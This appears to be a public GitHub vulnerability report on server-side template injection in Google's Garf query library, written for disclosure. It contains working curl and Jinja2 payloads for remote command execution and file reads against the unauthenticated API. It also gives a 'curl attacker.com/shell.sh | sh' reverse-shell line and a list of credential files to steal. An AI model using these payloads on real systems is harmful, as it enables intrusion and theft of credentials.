-
Notifications
You must be signed in to change notification settings - Fork 11
Description
I reported this vulnerability following the SECURITY link in the project and they told me to report this issue publicly on GitHub:
Vulnerability type: Remote Code Execution (RCE)
Details
Repository: https://github.com/google/garf
Affected packages: garf-core (PyPI), garf-executors (PyPI)
Version tested: garf-core 1.1.4, garf-executors 1.4.0
CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine)
Attack vector: Network (HTTP API), Local (crafted query files)
Summary
Garf is a Google library that lets users query APIs using SQL-like syntax. Every query submitted to Garf — whether via the HTTP API, CLI, or Python API — is rendered as a Jinja2 template without sandboxing before any SQL parsing occurs. This enables Server-Side Template Injection (SSTI), allowing an attacker to:
- Execute arbitrary Python code on the server via Jinja2 object introspection
- Read arbitrary files from the server filesystem via
{% include %}with theFileSystemLoaderthat Garf activates
The HTTP API server (garf-executors) binds to 0.0.0.0:8000 by default with no authentication, making this remotely exploitable by anyone with network access.
Vulnerable Code
File: libs/core/garf/core/query_editor.py, lines 147–168
def expand_jinja(
query_text: str, template_params: QueryParameters | None = None
) -> str:
file_inclusions = ('% include', '% import', '% extend')
if any(file_inclusion in query_text for file_inclusion in file_inclusions):
# LINE 152: FileSystemLoader enables arbitrary file reads from disk
template = jinja2.Environment(loader=jinja2.FileSystemLoader('.'))
query = template.from_string(query_text)
else:
# LINE 155: Unsandboxed Jinja2 template — SSTI
query = jinja2.Template(query_text)
if not template_params:
return query.render()
# ... parameter handling ...
return query.render(template_params)Why this is vulnerable
-
No sandbox:
jinja2.Template()andjinja2.Environment()are used instead ofjinja2.sandbox.SandboxedEnvironment. This means Jinja2 expressions like{{ ''.__class__.__mro__[1].__subclasses__() }}are evaluated, exposing the full Python runtime object graph. -
FileSystemLoader on attacker trigger: When the query text contains
% include,% import, or% extend, Garf activatesjinja2.FileSystemLoader('.'), which can read any file accessible from the server's current working directory. The attacker controls whether this branch is taken by simply including the trigger keyword in their query. -
Runs before SQL parsing:
expand_jinja()is called at the very beginning of query processing atQuerySpecification.expand()before any SQL validation, filtering, or sanitization occurs. Every query goes through this path unconditionally.
Call Chain: HTTP Request → Code Execution
POST /api/execute (server.py)
↓
execute() receives ApiExecutorRequest with user-supplied "query" string
↓
query_executor.execute(request.query, ...)
↓
QuerySpecification(text=query, ...).remove_comments().expand() (executor.py)
↓
expand() calls expand_jinja(self.query.text, ...) (query_editor.py)
↓
jinja2.Template(query_text).render() (query_editor.py)
↓
Jinja2 evaluates attacker-controlled template expressions
Reproduction Steps (End-to-End)
Prerequisites
- Python 3.10+ installed
pipavailable- Network access to the target (or localhost for testing)
Step 1: Install Garf packages
pip install garf-core garf-executors fastapi uvicorn opentelemetry.instrumentation.fastapi pydantic_settings python-multipart garf-executors[duckdb]This installs garf-core (1.1.4), garf-executors (1.4.0), DuckDB (an
in-process SQL engine that needs no external database server), and pandas
(required by the DuckDB executor for result handling). The duckdb source is
the easiest to exploit because it requires no credentials or external services.
Step 2: Start the Garf server
python -m garf.executors.entrypoints.serverThe server starts on 0.0.0.0:8000 by default (server.py L194–201):
INFO: Uvicorn running on http://0.0.0.0:8000
This binds to all network interfaces with no authentication.
Step 3: Verify SSTI — Arithmetic evaluation
Save as payload.json:
{"source":"duckdb","query":"SELECT {{ 7 * 7 }} AS result","title":"test","context":{}}curl -s -X POST http://localhost:8000/api/execute \
-H "Content-Type: application/json" \
-d @payload.jsonResponse:
{"results":[{"result":49}]}The query SELECT {{ 7 * 7 }} AS result was rendered as SELECT 49 AS result
before reaching DuckDB. This confirms Jinja2 is evaluating attacker-controlled
expressions.
Step 4: Python introspection — Prove access to runtime objects
Save as payload.json:
{"source":"duckdb","query":"SELECT '{{ ().__class__.__bases__[0].__name__ }}' AS base_class","title":"test","context":{}}curl -s -X POST http://localhost:8000/api/execute \
-H "Content-Type: application/json" \
-d @payload.jsonResponse:
{"results":[{"base_class":"object"}]}The template accessed Python's object base class — proving full Python object
introspection is available to the attacker.
Step 5: Remote Code Execution — Execute shell commands
Save as payload.json:
{"source":"duckdb","query":"SELECT '{{ lipsum.__globals__[\"os\"].popen(\"whoami\").read().strip() }}' AS rce","title":"test","context":{}}curl -s -X POST http://localhost:8000/api/execute \
-H "Content-Type: application/json" \
-d @payload.jsonResponse:
{"results":[{"rce":"domain\\henriqueg"}]}The whoami command executed on the server and the output was returned in
the HTTP response.
How this works: lipsum is a Jinja2 built-in global. It's defined in
jinja2/utils.py, which imports os at module level. So
lipsum.__globals__["os"] gives direct access to the os module, and
.popen() executes arbitrary commands.
Replace whoami with any command:
id(Linux — show user/group)cat /etc/shadow(read sensitive files)curl attacker.com/shell.sh | sh(download and execute reverse shell)
By wrapping the SSTI expression in SQL single quotes, the rendered command output becomes a string literal that DuckDB returns as a query result.
Method B — cycler.__init__.__globals__["__builtins__"]["__import__"]:
cycler is another Jinja2 built-in. Its __init__.__globals__ exposes
__builtins__, which contains __import__, exec, eval, open, and all
Python built-in functions:
curl -s -X POST http://localhost:8000/api/execute \
-H 'Content-Type: application/json' \
-d '{
"source": "duckdb",
"query": "SELECT '\''{{ cycler.__init__.__globals__[\"__builtins__\"][\"__import__\"](\"os\").popen(\"whoami\").read().strip() }}'\'' AS rce",
"title": "test",
"context": {}
}'Verified output: {"results": [{"rce": "domain\\henriqueg"}]}
Both methods were tested and confirmed working against garf-core 1.1.4 on
Python 3.14.
Step 6: Arbitrary file read — Multiple techniques
Via __builtins__["open"] (no FileSystemLoader needed):
curl -s -X POST http://localhost:8000/api/execute \
-H 'Content-Type: application/json' \
-d '{
"source": "duckdb",
"query": "SELECT '\''{{ cycler.__init__.__globals__[\"__builtins__\"][\"open\"](\"/etc/passwd\").read() }}'\'' AS leaked",
"title": "test",
"context": {}
}'Via {% include %} (triggers FileSystemLoader):
curl -s -X POST http://localhost:8000/api/execute \
-H 'Content-Type: application/json' \
-d '{
"source": "duckdb",
"query": "{% include \"/etc/passwd\" %}",
"title": "test",
"context": {}
}'Verified output: File contents returned in response (tested with
C:\Windows\win.ini on Windows — returned ; for 16-bit app support...)
High-value targets for an attacker:
/root/.config/gcloud/application_default_credentials.json (GCP credentials)
/proc/self/environ (environment variables)
config.yaml (Garf API keys)
~/.ssh/id_rsa (SSH private keys)
Attack scenario
Impact
Remote Code Execution (RCE)
An unauthenticated attacker with network access to a Garf server can execute
arbitrary commands on the host as the server process user. This enables:
- Data exfiltration from the server and connected cloud accounts
- Lateral movement using credentials found on the server (GCP service
account keys, API tokens in Garf config files) - Persistent access by installing backdoors, SSH keys, or cron jobs
- Supply chain attacks if Garf runs in CI/CD pipelines (a malicious
.sql
file in a repository would execute code when the pipeline processes it)
Arbitrary File Read
Even without achieving full RCE via os.popen, the __builtins__["open"] and
{% include %} paths allow reading any file the server process can access.
Attack Surface
The default server configuration maximizes exposure:
| Setting | Value | Risk |
|---|---|---|
| Bind address | 0.0.0.0 (server.py L198) |
Listens on all interfaces |
| Port | 8000 (server.py L199) |
Standard HTTP port |
| Authentication | None | Any HTTP client can submit queries |
| TLS | None | Queries sent in cleartext |
Root Cause Analysis
The vulnerability exists because Garf treats user-supplied query text as
trusted template code. The expand_jinja() function was designed to support
template variables in queries (e.g., {{ date_start }}), but uses Jinja2's
full, unsandboxed template engine rather than a restricted parameter
substitution mechanism.
The key insight is that Jinja2's default template namespace includes built-in
globals (lipsum, cycler, joiner, namespace) which are Python objects.
Through Python's introspection mechanisms (__globals__, __init__,
__builtins__), an attacker can traverse from these objects to the full Python
runtime, reaching os.popen(), __import__(), exec(), and open().
The FileSystemLoader branch (L150–153) was likely added to support query
composition (including reusable query fragments from files), but it provides
a second file-read primitive beyond the __builtins__["open"] path.